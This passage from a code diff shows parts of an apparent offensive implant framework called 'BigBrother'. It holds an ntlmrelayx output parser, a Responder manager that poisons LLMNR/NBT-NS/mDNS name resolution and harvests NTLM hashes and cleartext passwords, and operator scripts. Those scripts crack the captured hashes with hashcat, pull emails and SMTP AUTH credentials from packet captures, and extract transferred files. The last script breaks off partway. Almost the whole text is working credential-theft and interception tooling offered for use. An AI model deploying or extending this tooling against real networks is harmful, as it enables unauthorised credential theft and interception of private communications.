ips = set()
for target in self._targets:
if "://" in target:
ip_part = target.split("://")[1].split(":")[0].split("/")[0]
else:
ip_part = target.split(":")[0].split("/")[0]
ips.add(ip_part)
try:
self._responder_mgr.set_relay_targets(ips)
logger.info("Updated Responder relay exclusions: %s", ips)
except Exception:
logger.exception("Failed to update Responder exclusions")
# ------------------------------------------------------------------
# Output monitoring
# ------------------------------------------------------------------
def _monitor_output(self) -> None:
"""Monitor ntlmrelayx output for successful relays and loot."""
if not self._proc:
return
try:
for line in iter(self._proc.stdout.readline, b""):
if not self._running:
break
decoded = line.decode("utf-8", errors="replace").strip()
if not decoded:
continue
self._parse_relay_output(decoded)
if self._proc.poll() is not None:
break
except Exception:
pass
def _parse_relay_output(self, line: str) -> None:
"""Parse ntlmrelayx output for successful relay events."""
# Successful SMB relay
if "authenticated successfully" in line.lower():
relay_info = {
"timestamp": time.time(),
"type": "auth_success",
"detail": line,
}
with self._relays_lock:
self._successful_relays.append(relay_info)
self.bus.emit(
"CREDENTIAL_FOUND",
{
"source_module": self.name,
"target_service": "ntlm_relay",
"credential_type": "relay_success",
"credential_value": line,
},
source_module=self.name,
)
logger.info("Successful NTLM relay: %s", line)
# Secretsdump from relay
elif "dumping" in line.lower() and "sam" in line.lower():
logger.info("ntlmrelayx SAM dump: %s", line)
# ADCS certificate obtained
elif "certificate" in line.lower() and ("saved" in line.lower() or "base64" in line.lower()):
self.bus.emit(
"CREDENTIAL_FOUND",
{
"source_module": self.name,
"target_service": "adcs_relay",
"credential_type": "certificate",
"credential_value": line,
},
source_module=self.name,
)
logger.info("ADCS certificate obtained via relay: %s", line)
# SOCKS proxy opened
elif "socks" in line.lower() and "connection" in line.lower():
logger.info("ntlmrelayx SOCKS: %s", line)
+431
View File
@@ -0,0 +1,431 @@
#!/usr/bin/env python3
"""Responder Manager — LLMNR/NBT-NS/mDNS poisoning and hash capture.
Manages Responder as a supervised subprocess. Generates Responder.conf
from a Jinja2 template, monitors log output for captured NTLMv1/v2
hashes, and publishes CREDENTIAL_FOUND events. Coordinates with
ntlm_relay to exclude relay targets from Responder's SMB server.
Resources: ~30MB RAM, ~3% CPU
"""
import glob
import logging
import os
import re
import subprocess
import threading
import time
from pathlib import Path
from typing import Optional
from modules.base import BaseModule
logger = logging.getLogger("bb.active.responder_mgr")
# Regex for Responder hash log filenames
HASH_FILE_PATTERN = re.compile(
r"(HTTP|SMB|MSSQL|LDAP|FTP|POP|IMAP|SMTP)-NTLMv[12]-.*\.txt$"
)
# Regex for parsing NTLMv2 hash lines
NTLMV2_REGEX = re.compile(
r"^(?P<username>\S+?)::(?P<domain>\S+?):(?P<challenge>[0-9a-fA-F]+):"
r"(?P<response>[0-9a-fA-F]+):(?P<blob>[0-9a-fA-F]+)$"
)
NTLMV1_REGEX = re.compile(
r"^(?P<username>\S+?)::(?P<domain>\S+?):(?P<lm>[0-9a-fA-F]+):"
r"(?P<nt>[0-9a-fA-F]+):(?P<challenge>[0-9a-fA-F]+)$"
)
class ResponderManager(BaseModule):
"""Responder subprocess manager with hash capture monitoring.
Dependencies:
- Responder installed at /opt/tools/Responder
Configuration:
responder_path: Path to Responder directory
interface: Network interface
protocols: Dict of protocol toggles (LLMNR, NBT-NS, mDNS, etc.)
relay_targets: Set of IPs excluded from SMB auth (for ntlm_relay)
"""
name = "responder_mgr"
module_type = "active"
priority = 150
requires_root = True
HASH_POLL_INTERVAL = 10 # seconds
def __init__(self, bus, state, config, engine=None):
super().__init__(bus, state, config, engine)
self._proc: Optional[subprocess.Popen] = None
self._hash_thread: Optional[threading.Thread] = None
self._responder_path = config.get("responder_path", "/opt/tools/Responder")
self._iface = config.get("interface", "eth0")
self._log_dir = os.path.join(self._responder_path, "logs")
self._captured_hashes: list = []
self._hashes_lock = threading.Lock()
self._seen_hashes: set = set() # Dedup set
self._relay_targets: set = set() # IPs excluded from SMB for relay
self._protocols = {
"LLMNR": True,
"NBT-NS": True,
"mDNS": True,
"HTTP": True,
"SMB": True,
"WPAD": True,
"FTP": False,
"POP": False,
"IMAP": False,
"SMTP": False,
"LDAP": False,
}
self._template_dir = config.get(
"template_dir",
os.path.join(os.path.dirname(__file__), "..", "..", "templates", "responder"),
)
# ------------------------------------------------------------------
# BaseModule interface
# ------------------------------------------------------------------
def start(self) -> None:
if self._running:
return
if not os.path.isdir(self._responder_path):
logger.error("Responder not found at %s", self._responder_path)
return
self._running = True
self._pid = os.getpid()
self._start_time = time.time()
self.state.set_module_status(self.name, "running", pid=self._pid)
logger.info("ResponderManager started (ready to launch Responder)")
def stop(self) -> None:
if not self._running:
return
self.stop_responder()
self._running = False
self.state.set_module_status(self.name, "stopped")
logger.info("ResponderManager stopped")
def status(self) -> dict:
proc_alive = self._proc is not None and self._proc.poll() is None
return {
"running": self._running,
"pid": self._pid,
"uptime": time.time() - self._start_time if self._start_time else 0,
"responder_running": proc_alive,
"responder_pid": self._proc.pid if proc_alive else None,
"captured_hash_count": len(self._captured_hashes),
"interface": self._iface,
"relay_targets": list(self._relay_targets),
}
def configure(self, config: dict) -> None:
self.config.update(config)
if "interface" in config:
self._iface = config["interface"]
if "relay_targets" in config:
self._relay_targets = set(config["relay_targets"])
if "protocols" in config:
self._protocols.update(config["protocols"])
# ------------------------------------------------------------------
# Public API
# ------------------------------------------------------------------
def start_responder(self, protocols: dict = None) -> bool:
"""Start Responder with configured protocols.
Args:
protocols: Optional dict overriding default protocol toggles.
Returns:
True if Responder was started.
"""
if not self._running:
logger.error("ResponderManager not started")
return False
if self._proc and self._proc.poll() is None:
logger.warning("Responder already running (pid=%d)", self._proc.pid)
return True
if protocols:
self._protocols.update(protocols)
# Generate Responder.conf from template
self._write_responder_conf()
# Build command
responder_py = os.path.join(self._responder_path, "Responder.py")
if not os.path.isfile(responder_py):
logger.error("Responder.py not found at %s", responder_py)
return False
cmd = ["python3", responder_py, "-I", self._iface, "-v"]
# Add protocol flags based on what we want DISABLED
if not self._protocols.get("WPAD"):
cmd.append("-w") # -w disables WPAD in newer Responder versions
# Responder's flags are for disabling features, not enabling them
# The .conf file controls which services are On/Off
try:
self._proc = subprocess.Popen(
cmd,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
cwd=self._responder_path,
)
time.sleep(2)
if self._proc.poll() is not None:
stderr = self._proc.stderr.read().decode(errors="replace")
logger.error("Responder failed to start: %s", stderr)
return False
# Start hash file monitoring thread
self._hash_thread = threading.Thread(
target=self._hash_monitor_loop, daemon=True, name="bb-responder-hashes"
)
self._hash_thread.start()
logger.info("Responder started (pid=%d, iface=%s)", self._proc.pid, self._iface)
return True
except Exception:
logger.exception("Failed to start Responder")
return False
def stop_responder(self) -> bool:
"""Stop the Responder subprocess.
Returns:
True if Responder was stopped.
"""
if self._proc and self._proc.poll() is None:
try:
self._proc.terminate()
self._proc.wait(timeout=5)
except subprocess.TimeoutExpired:
self._proc.kill()
try:
self._proc.wait(timeout=2)
except Exception:
pass
except Exception:
logger.exception("Failed to stop Responder")
return False
finally:
self._proc = None
logger.info("Responder stopped")
return True
def get_captured_hashes(self) -> list:
"""Return all captured hashes.
Returns:
List of dicts with hash details.
"""
with self._hashes_lock:
return list(self._captured_hashes)
def set_relay_targets(self, targets: set) -> None:
"""Set IPs that should be excluded from Responder's SMB server.
When coordinating with ntlm_relay, Responder should not respond
to targets that ntlmrelayx is relaying from.
Args:
targets: Set of IP addresses to exclude.
"""
self._relay_targets = set(targets)
# Regenerate config and restart if running
if self._proc and self._proc.poll() is None:
self._write_responder_conf()
logger.info("Updated relay exclusion targets: %s", targets)
# ------------------------------------------------------------------
# Responder.conf generation
# ------------------------------------------------------------------
def _write_responder_conf(self) -> None:
"""Generate Responder.conf from template or defaults."""
conf_path = os.path.join(self._responder_path, "Responder.conf")
# Try Jinja2 template first
template_path = os.path.join(self._template_dir, "Responder.conf.j2")
if os.path.isfile(template_path):
try:
from jinja2 import Template
with open(template_path, "r") as f:
tmpl = Template(f.read())
rendered = tmpl.render(
protocols=self._protocols,
relay_targets=self._relay_targets,
interface=self._iface,
)
with open(conf_path, "w") as f:
f.write(rendered)
return
except ImportError:
logger.warning("Jinja2 not available — using inline config")
except Exception:
logger.exception("Failed to render Responder.conf template")
# Fallback: write config directly
smb_on = "On" if self._protocols.get("SMB") else "Off"
http_on = "On" if self._protocols.get("HTTP") else "Off"
conf = (
"[Responder Core]\n\n"
"; Servers to start\n"
f"SQL = {'On' if self._protocols.get('SQL') else 'Off'}\n"
f"SMB = {smb_on}\n"
f"RDP = Off\n"
f"Kerberos = Off\n"
f"FTP = {'On' if self._protocols.get('FTP') else 'Off'}\n"
f"POP = {'On' if self._protocols.get('POP') else 'Off'}\n"
f"SMTP = {'On' if self._protocols.get('SMTP') else 'Off'}\n"
f"IMAP = {'On' if self._protocols.get('IMAP') else 'Off'}\n"
f"HTTP = {http_on}\n"
f"HTTPS = {http_on}\n"
f"DNS = Off\n"
f"LDAP = {'On' if self._protocols.get('LDAP') else 'Off'}\n"
f"DCERPC = Off\n"
f"WinRM = Off\n"
f"SNMP = Off\n"
f"MQTT = Off\n"
"\n"
"; Custom challenge\n"
"Challenge = Random\n"
"\n"
"; Set to On for downgrading to NTLMv1\n"
"DontRespondToNames =\n"
"\n"
)
with open(conf_path, "w") as f:
f.write(conf)
# ------------------------------------------------------------------
# Hash capture monitoring
# ------------------------------------------------------------------
def _hash_monitor_loop(self) -> None:
"""Monitor Responder log directory for new hash files."""
while self._running and self._proc and self._proc.poll() is None:
time.sleep(self.HASH_POLL_INTERVAL)
try:
self._scan_hash_files()
self._scan_session_log()
except Exception:
logger.exception("Hash monitor error")
def _scan_hash_files(self) -> None:
"""Scan Responder logs/ for NTLMv1/v2 hash files."""
if not os.path.isdir(self._log_dir):
return
for filepath in glob.glob(os.path.join(self._log_dir, "*-NTLMv*.txt")):
try:
with open(filepath, "r") as f:
for line in f:
line = line.strip()
if not line or line in self._seen_hashes:
continue
self._seen_hashes.add(line)
self._process_hash_line(line, filepath)
except Exception:
pass
def _scan_session_log(self) -> None:
"""Scan Responder-Session.log for cleartext credentials."""
session_log = os.path.join(self._log_dir, "Responder-Session.log")
if not os.path.isfile(session_log):
return
try:
with open(session_log, "r") as f:
for line in f:
line = line.strip()
if not line or line in self._seen_hashes:
continue
# Look for cleartext credential lines
if "Cleartext" in line or "Password" in line:
self._seen_hashes.add(line)
self._process_cleartext_line(line)
except Exception:
pass
def _process_hash_line(self, line: str, source_file: str) -> None:
"""Parse an NTLM hash line and emit CREDENTIAL_FOUND."""
# Determine hash type from filename
hash_type = "ntlmv2"
hashcat_mode = 5600
if "NTLMv1" in source_file:
hash_type = "ntlmv1"
hashcat_mode = 5500
# Parse username and domain
match = NTLMV2_REGEX.match(line)
if not match:
match = NTLMV1_REGEX.match(line)
if match:
username = match.group("username")
domain = match.group("domain")
else:
username = line.split("::")[0] if "::" in line else "unknown"
domain = ""
hash_entry = {
"timestamp": time.time(),
"username": username,
"domain": domain,
"hash_type": hash_type,
"hashcat_mode": hashcat_mode,
"hash_value": line,
"source_file": source_file,
}
with self._hashes_lock:
self._captured_hashes.append(hash_entry)
self.bus.emit(
"CREDENTIAL_FOUND",
{
"source_module": self.name,
"source_ip": "",
"target_service": "responder",
"username": username,
"domain": domain,
"credential_type": hash_type,
"credential_value": line,
"hashcat_mode": hashcat_mode,
},
source_module=self.name,
)
logger.info("Hash captured: %s\\%s (%s)", domain, username, hash_type)
def _process_cleartext_line(self, line: str) -> None:
"""Process a cleartext credential line from Responder session log."""
self.bus.emit(
"CREDENTIAL_FOUND",
{
"source_module": self.name,
"target_service": "responder_cleartext",
"credential_type": "cleartext",
"credential_value": line,
},
source_module=self.name,
)
View File
+248
View File
@@ -0,0 +1,248 @@
#!/usr/bin/env bash
# BigBrother Operator Script — Export and Crack Captured Hashes
#
# Exports credentials from BigBrother's credential database and Responder
# logs into hashcat-ready format. Optionally runs hashcat with common
# wordlists and rule sets.
#
# Usage: ./crack_hashes.sh <data_dir> [--crack] [--wordlist <path>]
#
# Examples:
# ./crack_hashes.sh ./bb-pull-20240115 # Export only
# ./crack_hashes.sh ./bb-pull-20240115 --crack # Export + crack
# ./crack_hashes.sh ./bb-pull-20240115 --crack --wordlist /opt/wordlists/rockyou.txt
#
# Requires: sqlite3, hashcat (optional)
set -euo pipefail
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
CYAN='\033[0;36m'
NC='\033[0m'
# ---------------------------------------------------------------------------
# Arguments
# ---------------------------------------------------------------------------
DATA_DIR="${1:-}"
DO_CRACK=false
WORDLIST="${HASHCAT_WORDLIST:-/usr/share/wordlists/rockyou.txt}"
RULES_FILE="${HASHCAT_RULES:-/usr/share/hashcat/rules/best64.rule}"
shift || true
while [[ $# -gt 0 ]]; do
case "$1" in
--crack) DO_CRACK=true ;;
--wordlist) WORDLIST="$2"; shift ;;
--rules) RULES_FILE="$2"; shift ;;
*) echo -e "${RED}Unknown option: $1${NC}"; exit 1 ;;
esac
shift
done
if [[ -z "$DATA_DIR" ]]; then
echo -e "${RED}Usage: $0 <data_dir> [--crack] [--wordlist <path>]${NC}"
echo ""
echo "Options:"
echo " --crack Run hashcat after export"
echo " --wordlist <path> Wordlist for cracking (default: rockyou.txt)"
echo " --rules <path> Hashcat rules file (default: best64.rule)"
echo ""
echo "Environment:"
echo " HASHCAT_WORDLIST Default wordlist path"
echo " HASHCAT_RULES Default rules file path"
exit 1
fi
OUTPUT_DIR="$DATA_DIR/cracking-$(date +%Y%m%d-%H%M%S)"
mkdir -p "$OUTPUT_DIR"
echo -e "${CYAN}[*] BigBrother Hash Export & Cracking${NC}"
echo -e " Data dir: ${DATA_DIR}"
echo -e " Output: ${OUTPUT_DIR}"
echo ""
# ---------------------------------------------------------------------------
# Export from credential database
# ---------------------------------------------------------------------------
CRED_DB="$DATA_DIR/databases/credentials.db"
TOTAL_HASHES=0
if [[ -f "$CRED_DB" ]]; then
echo -e "${YELLOW}[*] Exporting from credential database...${NC}"
# NTLMv2 hashes (hashcat mode 5600)
sqlite3 "$CRED_DB" "SELECT credential_value FROM credentials WHERE hashcat_mode=5600 AND credential_value != ''" 2>/dev/null \
> "$OUTPUT_DIR/ntlmv2_5600.txt" || true
count=$(wc -l < "$OUTPUT_DIR/ntlmv2_5600.txt" 2>/dev/null || echo 0)
TOTAL_HASHES=$((TOTAL_HASHES + count))
echo -e " NTLMv2 (5600): ${count}"
# NTLMv1 hashes (hashcat mode 5500)
sqlite3 "$CRED_DB" "SELECT credential_value FROM credentials WHERE hashcat_mode=5500 AND credential_value != ''" 2>/dev/null \
> "$OUTPUT_DIR/ntlmv1_5500.txt" || true
count=$(wc -l < "$OUTPUT_DIR/ntlmv1_5500.txt" 2>/dev/null || echo 0)
TOTAL_HASHES=$((TOTAL_HASHES + count))
echo -e " NTLMv1 (5500): ${count}"
# Kerberos TGS (hashcat mode 13100)
sqlite3 "$CRED_DB" "SELECT credential_value FROM credentials WHERE hashcat_mode=13100 AND credential_value != ''" 2>/dev/null \
> "$OUTPUT_DIR/kerberos_tgs_13100.txt" || true
count=$(wc -l < "$OUTPUT_DIR/kerberos_tgs_13100.txt" 2>/dev/null || echo 0)
TOTAL_HASHES=$((TOTAL_HASHES + count))
echo -e " Kerberos TGS (13100): ${count}"
# Kerberos AS-REP (hashcat mode 18200)
sqlite3 "$CRED_DB" "SELECT credential_value FROM credentials WHERE hashcat_mode=18200 AND credential_value != ''" 2>/dev/null \
> "$OUTPUT_DIR/kerberos_asrep_18200.txt" || true
count=$(wc -l < "$OUTPUT_DIR/kerberos_asrep_18200.txt" 2>/dev/null || echo 0)
TOTAL_HASHES=$((TOTAL_HASHES + count))
echo -e " Kerberos AS-REP (18200): ${count}"
# Cleartext credentials (no cracking needed)
sqlite3 "$CRED_DB" "SELECT username || ':' || credential_value FROM credentials WHERE hashcat_mode=0 AND credential_value != ''" 2>/dev/null \
> "$OUTPUT_DIR/cleartext.txt" || true
count=$(wc -l < "$OUTPUT_DIR/cleartext.txt" 2>/dev/null || echo 0)
echo -e " ${GREEN}Cleartext: ${count}${NC}"
echo ""
else
echo -e "${YELLOW}[*] No credential database found${NC}"
fi
# ---------------------------------------------------------------------------
# Export from Responder logs
# ---------------------------------------------------------------------------
RESPONDER_DIR="$DATA_DIR/responder"
if [[ -d "$RESPONDER_DIR" ]]; then
echo -e "${YELLOW}[*] Exporting from Responder logs...${NC}"
# Collect NTLMv2 hashes from Responder log files
for hashfile in "$RESPONDER_DIR"/*-NTLMv2-*.txt; do
[[ -f "$hashfile" ]] || continue
cat "$hashfile" >> "$OUTPUT_DIR/ntlmv2_5600.txt"
done
for hashfile in "$RESPONDER_DIR"/*-NTLMv1-*.txt; do
[[ -f "$hashfile" ]] || continue
cat "$hashfile" >> "$OUTPUT_DIR/ntlmv1_5500.txt"
done
# Deduplicate
for f in "$OUTPUT_DIR"/*.txt; do
[[ -f "$f" ]] || continue
sort -u "$f" -o "$f"
done
count=$(wc -l < "$OUTPUT_DIR/ntlmv2_5600.txt" 2>/dev/null || echo 0)
echo -e " NTLMv2 total (deduped): ${count}"
count=$(wc -l < "$OUTPUT_DIR/ntlmv1_5500.txt" 2>/dev/null || echo 0)
echo -e " NTLMv1 total (deduped): ${count}"
echo ""
fi
# Remove empty files
find "$OUTPUT_DIR" -name "*.txt" -empty -delete 2>/dev/null
# ---------------------------------------------------------------------------
# Summary of unique users
# ---------------------------------------------------------------------------
echo -e "${YELLOW}[*] Unique users with captured hashes:${NC}"
for hashfile in "$OUTPUT_DIR"/ntlm*.txt; do
[[ -f "$hashfile" ]] || continue
mode=$(basename "$hashfile" | grep -o '[0-9]*')
echo -e " ${CYAN}Mode $mode:${NC}"
cut -d: -f1 "$hashfile" | sort -u | head -20 | sed 's/^/ /'
total=$(cut -d: -f1 "$hashfile" | sort -u | wc -l)
if [[ $total -gt 20 ]]; then
echo -e " ... ($total total)"
fi
done
echo ""
# ---------------------------------------------------------------------------
# Crack with hashcat (optional)
# ---------------------------------------------------------------------------
if $DO_CRACK; then
if ! command -v hashcat &>/dev/null; then
echo -e "${RED}[-] hashcat not found — install from https://hashcat.net${NC}"
exit 1
fi
if [[ ! -f "$WORDLIST" ]]; then
echo -e "${RED}[-] Wordlist not found: $WORDLIST${NC}"
exit 1
fi
echo -e "${CYAN}[*] Running hashcat...${NC}"
echo -e " Wordlist: ${WORDLIST}"
echo -e " Rules: ${RULES_FILE}"
echo ""
POTFILE="$OUTPUT_DIR/hashcat.potfile"
# Crack each hash type
for hashfile in "$OUTPUT_DIR"/*.txt; do
[[ -f "$hashfile" ]] || continue
basename_hash=$(basename "$hashfile")
# Skip cleartext and already-cracked
[[ "$basename_hash" == "cleartext.txt" ]] && continue
[[ "$basename_hash" == "cracked_"* ]] && continue
# Extract hashcat mode from filename
mode=$(echo "$basename_hash" | grep -oP '\d{4,5}' || echo "")
if [[ -z "$mode" ]]; then
continue
fi
count=$(wc -l < "$hashfile")
if [[ $count -eq 0 ]]; then
continue
fi
echo -e "${YELLOW}[*] Cracking $basename_hash ($count hashes, mode $mode)${NC}"
# Run hashcat — dictionary + rules
hashcat -m "$mode" -a 0 \
"$hashfile" "$WORDLIST" \
-r "$RULES_FILE" \
--potfile-path "$POTFILE" \
--outfile "$OUTPUT_DIR/cracked_${basename_hash}" \
--outfile-format 2 \
-O \
2>/dev/null || true
cracked=$(wc -l < "$OUTPUT_DIR/cracked_${basename_hash}" 2>/dev/null || echo 0)
echo -e " ${GREEN}Cracked: $cracked / $count${NC}"
echo ""
done
# ---------------------------------------------------------------------------
# Cracking summary
# ---------------------------------------------------------------------------
echo -e "${GREEN}[+] Cracking complete${NC}"
echo -e " Potfile: $POTFILE"
echo ""
echo -e "${CYAN}[*] Cracked credentials:${NC}"
for cracked in "$OUTPUT_DIR"/cracked_*.txt; do
[[ -f "$cracked" ]] || continue
echo -e " ${GREEN}$(basename $cracked):${NC}"
head -20 "$cracked" | sed 's/^/ /'
done
else
echo -e "${CYAN}[*] Hash files exported to: $OUTPUT_DIR${NC}"
echo " Run with --crack to start cracking"
echo ""
echo " Manual cracking examples:"
echo " hashcat -m 5600 $OUTPUT_DIR/ntlmv2_5600.txt /path/to/wordlist.txt -r /path/to/rules"
echo " hashcat -m 5500 $OUTPUT_DIR/ntlmv1_5500.txt /path/to/wordlist.txt"
echo " hashcat -m 13100 $OUTPUT_DIR/kerberos_tgs_13100.txt /path/to/wordlist.txt"
fi
+188
View File
@@ -0,0 +1,188 @@
#!/usr/bin/env bash
# BigBrother Operator Script — Extract Emails from PCAPs
#
# Extracts SMTP email messages from network captures. Reconstructs
# complete emails including headers, body, and attachments.
#
# Unencrypted SMTP (port 25/587 without STARTTLS) is still common on
# internal networks, especially between mail servers and printers/scanners.
#
# Usage: ./extract_emails.sh <pcap_dir> [output_dir]
#
# Requires: tshark
set -euo pipefail
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
CYAN='\033[0;36m'
NC='\033[0m'
# ---------------------------------------------------------------------------
# Arguments
# ---------------------------------------------------------------------------
PCAP_DIR="${1:-}"
OUTPUT_DIR="${2:-$(pwd)/extracted-emails-$(date +%Y%m%d-%H%M%S)}"
if [[ -z "$PCAP_DIR" ]]; then
echo -e "${RED}Usage: $0 <pcap_dir> [output_dir]${NC}"
exit 1
fi
if [[ ! -d "$PCAP_DIR" ]]; then
echo -e "${RED}[-] PCAP directory not found: $PCAP_DIR${NC}"
exit 1
fi
if ! command -v tshark &>/dev/null; then
echo -e "${RED}[-] tshark not found — install with: apt install tshark${NC}"
exit 1
fi
mkdir -p "$OUTPUT_DIR"/{raw,parsed,attachments,summary}
echo -e "${CYAN}[*] BigBrother Email Extraction${NC}"
echo -e " PCAP dir: ${PCAP_DIR}"
echo -e " Output: ${OUTPUT_DIR}"
echo ""
# ---------------------------------------------------------------------------
# Extract SMTP sessions
# ---------------------------------------------------------------------------
EMAIL_COUNT=0
ATTACHMENT_COUNT=0
for pcap in "$PCAP_DIR"/*.pcap "$PCAP_DIR"/*.pcapng; do
[[ -f "$pcap" ]] || continue
basename_pcap=$(basename "$pcap")
echo -e "${YELLOW}[*] Scanning: ${basename_pcap}${NC}"
# Check for SMTP traffic
has_smtp=$(tshark -r "$pcap" -Y "smtp || tcp.port == 25 || tcp.port == 587" -c 1 2>/dev/null | wc -l)
if [[ "$has_smtp" -eq 0 ]]; then
echo -e " (no SMTP traffic)"
continue
fi
# Export IMF (Internet Message Format) objects
imf_dir="$OUTPUT_DIR/raw/${basename_pcap%.pcap*}"
mkdir -p "$imf_dir"
tshark -r "$pcap" --export-objects "imf,$imf_dir" 2>/dev/null || true
imf_count=$(find "$imf_dir" -type f 2>/dev/null | wc -l)
if [[ $imf_count -gt 0 ]]; then
echo -e " ${GREEN}Found $imf_count email messages${NC}"
EMAIL_COUNT=$((EMAIL_COUNT + imf_count))
fi
# Extract SMTP streams for raw analysis
streams=$(tshark -r "$pcap" -Y "tcp.dstport == 25 && tcp.len > 0" \
-T fields -e tcp.stream 2>/dev/null | sort -un)
for stream_id in $streams; do
stream_file="$OUTPUT_DIR/raw/smtp_stream_${stream_id}.txt"
# Follow the TCP stream
tshark -r "$pcap" -q -z "follow,tcp,ascii,${stream_id}" \
> "$stream_file" 2>/dev/null || true
if [[ ! -s "$stream_file" ]]; then
rm -f "$stream_file"
continue
fi
# Extract email metadata
from=$(grep -i "^MAIL FROM:" "$stream_file" 2>/dev/null | head -1 | sed 's/MAIL FROM://i' | tr -d '<> ' || echo "unknown")
to=$(grep -i "^RCPT TO:" "$stream_file" 2>/dev/null | head -1 | sed 's/RCPT TO://i' | tr -d '<> ' || echo "unknown")
subject=$(grep -i "^Subject:" "$stream_file" 2>/dev/null | head -1 | sed 's/Subject: //i' || echo "(no subject)")
if [[ -n "$from" || -n "$to" ]]; then
# Write summary
{
echo "Stream: $stream_id"
echo "From: $from"
echo "To: $to"
echo "Subject: $subject"
echo "File: $stream_file"
echo "---"
} >> "$OUTPUT_DIR/summary/email_index.txt"
fi
done
# Also check port 587 (submission)
streams_587=$(tshark -r "$pcap" -Y "tcp.dstport == 587 && tcp.len > 0" \
-T fields -e tcp.stream 2>/dev/null | sort -un)
for stream_id in $streams_587; do
stream_file="$OUTPUT_DIR/raw/smtp_587_stream_${stream_id}.txt"
tshark -r "$pcap" -q -z "follow,tcp,ascii,${stream_id}" \
> "$stream_file" 2>/dev/null || true
[[ -s "$stream_file" ]] || rm -f "$stream_file"
done
echo ""
done
# ---------------------------------------------------------------------------
# Parse extracted emails for attachments
# ---------------------------------------------------------------------------
echo -e "${YELLOW}[*] Scanning for attachments...${NC}"
for email_file in "$OUTPUT_DIR"/raw/*/*.eml "$OUTPUT_DIR"/raw/*/email_* 2>/dev/null; do
[[ -f "$email_file" ]] || continue
# Look for MIME boundaries indicating attachments
if grep -qi "Content-Disposition: attachment\|Content-Transfer-Encoding: base64" "$email_file" 2>/dev/null; then
ATTACHMENT_COUNT=$((ATTACHMENT_COUNT + 1))
filename=$(grep -i "filename=" "$email_file" 2>/dev/null | head -1 | sed 's/.*filename="\?\([^"]*\)"\?.*/\1/' || echo "unknown")
echo -e " Attachment found: ${filename} in $(basename $email_file)"
fi
done
# ---------------------------------------------------------------------------
# Extract SMTP auth credentials
# ---------------------------------------------------------------------------
echo -e "${YELLOW}[*] Scanning for SMTP credentials...${NC}"
cred_file="$OUTPUT_DIR/summary/smtp_credentials.txt"
for stream_file in "$OUTPUT_DIR"/raw/smtp_*.txt; do
[[ -f "$stream_file" ]] || continue
# Look for AUTH LOGIN or AUTH PLAIN
if grep -q "AUTH LOGIN\|AUTH PLAIN" "$stream_file" 2>/dev/null; then
echo -e " ${GREEN}SMTP auth found in $(basename $stream_file)${NC}"
grep -A 3 "AUTH" "$stream_file" >> "$cred_file" 2>/dev/null || true
echo "---" >> "$cred_file"
fi
done
# ---------------------------------------------------------------------------
# Summary
# ---------------------------------------------------------------------------
echo ""
echo -e "${GREEN}[+] Email extraction complete${NC}"
echo -e " Emails found: ${EMAIL_COUNT}"
echo -e " Attachments found: ${ATTACHMENT_COUNT}"
echo ""
if [[ -f "$OUTPUT_DIR/summary/email_index.txt" ]]; then
echo -e "${CYAN}[*] Email index:${NC}"
head -30 "$OUTPUT_DIR/summary/email_index.txt" | sed 's/^/ /'
total_indexed=$(grep -c "^Stream:" "$OUTPUT_DIR/summary/email_index.txt" 2>/dev/null || echo 0)
if [[ $total_indexed -gt 5 ]]; then
echo -e " ... ($total_indexed total — see $OUTPUT_DIR/summary/email_index.txt)"
fi
fi
if [[ -f "$cred_file" ]]; then
echo ""
echo -e "${GREEN}[+] SMTP credentials saved to: $cred_file${NC}"
echo -e " (base64 encoded — decode with: echo '<value>' | base64 -d)"
fi
+134
View File
@@ -0,0 +1,134 @@
#!/usr/bin/env bash
# BigBrother Operator Script — Extract Files from PCAPs
#
# Uses tshark to extract transferred files from PCAP captures.
# Supports HTTP objects, SMB file transfers, FTP data, and TFTP.
#
# Usage: ./extract_files.sh <pcap_dir> [output_dir]
#
# Examples:
# ./extract_files.sh ./bb-pull-20240115/pcaps
# ./extract_files.sh /opt/cases/acme/pcaps /opt/cases/acme/extracted
#
# Requires: tshark (Wireshark CLI)
set -euo pipefail
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
CYAN='\033[0;36m'
NC='\033[0m'
# ---------------------------------------------------------------------------
# Arguments
# ---------------------------------------------------------------------------
PCAP_DIR="${1:-}"
OUTPUT_DIR="${2:-$(pwd)/extracted-files-$(date +%Y%m%d-%H%M%S)}"
if [[ -z "$PCAP_DIR" ]]; then
echo -e "${RED}Usage: $0 <pcap_dir> [output_dir]${NC}"
exit 1
fi
if [[ ! -d "$PCAP_DIR" ]]; then
echo -e "${RED}[-] PCAP directory not found: $PCAP_DIR${NC}"
exit 1
fi
# Check dependencies
if ! command -v tshark &>/dev/null; then
echo -e "${RED}[-] tshark not found — install with: apt install tshark${NC}"
exit 1
fi
# Create output structure
mkdir -p "$OUTPUT_DIR"/{http,smb,ftp,tftp,dicom,imf}
echo -e "${CYAN}[*] BigBrother File Extraction${NC}"
echo -e " PCAP dir: ${PCAP_DIR}"
echo -e " Output: ${OUTPUT_DIR}"
echo ""
# ---------------------------------------------------------------------------
# Extract files from each PCAP
# ---------------------------------------------------------------------------
PCAP_COUNT=0
HTTP_COUNT=0
SMB_COUNT=0
FTP_COUNT=0
for pcap in "$PCAP_DIR"/*.pcap "$PCAP_DIR"/*.pcapng; do
[[ -f "$pcap" ]] || continue
PCAP_COUNT=$((PCAP_COUNT + 1))
basename_pcap=$(basename "$pcap")
echo -e "${YELLOW}[*] Processing: ${basename_pcap}${NC}"
# HTTP objects (downloads, uploads, pages)
echo -e " Extracting HTTP objects..."
http_dir="$OUTPUT_DIR/http/${basename_pcap%.pcap*}"
mkdir -p "$http_dir"
tshark -r "$pcap" --export-objects "http,$http_dir" 2>/dev/null || true
count=$(find "$http_dir" -type f 2>/dev/null | wc -l)
HTTP_COUNT=$((HTTP_COUNT + count))
echo -e " ${GREEN}Found $count HTTP objects${NC}"
# SMB file transfers
echo -e " Extracting SMB objects..."
smb_dir="$OUTPUT_DIR/smb/${basename_pcap%.pcap*}"
mkdir -p "$smb_dir"
tshark -r "$pcap" --export-objects "smb,$smb_dir" 2>/dev/null || true
count=$(find "$smb_dir" -type f 2>/dev/null | wc -l)
SMB_COUNT=$((SMB_COUNT + count))
echo -e " ${GREEN}Found $count SMB objects${NC}"
# FTP data streams
echo -e " Extracting FTP data..."
ftp_dir="$OUTPUT_DIR/ftp/${basename_pcap%.pcap*}"
mkdir -p "$ftp_dir"
